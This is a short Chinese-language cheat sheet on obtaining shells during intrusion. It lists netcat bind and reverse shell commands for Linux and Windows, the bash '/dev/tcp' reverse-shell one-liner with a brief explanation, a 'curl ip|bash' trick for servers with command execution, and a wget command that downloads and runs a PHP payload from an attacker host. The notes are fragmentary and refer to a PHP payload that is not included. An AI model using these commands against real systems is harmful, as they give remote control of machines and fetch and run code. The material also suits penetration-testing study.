获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh
或-e /bin/bash
)
正向shell: 客户端主动连接服务器并获取服务器shell
客户端主动连接并得到反弹shell nc 服务端ip 8888 服务端监听连接 nc -lvp 8888 -e /bin/sh # windows上:nc -lvp 8888 -e c:\windows\system32\cmd.exe
反向shell: 服务器端连接并反弹shell给客户端
客户端监听 nc -lvp 8888 服务端连接客户端 nc 客户端ip 8888 -e /bin/sh # windows上:nc ip 8888 -e c:\windows\system32\cmd.exe
bash -i >& /dev/tcp/我们靶机ip/我们靶机port 0>&1
bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹
前提要利用bash一句话的情况下使用curl反弹shell
在存在命令执行的服务器上执行curl ip|bash
,该ip的index文件上含有bash一句话,就可以反弹shell。
例如在自己的服务器index上写上一句话
bash -i >& /dev/tcp/192.168.20.151/7777 0>&1
192.168.20.151就是作为监听端口的服务器用来得到反弹的shell。
存在一句话,利用curl反弹。
kali开启监听
利用wget进行下载执行
wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php
利用下面贴出的php进行反弹。
开启监听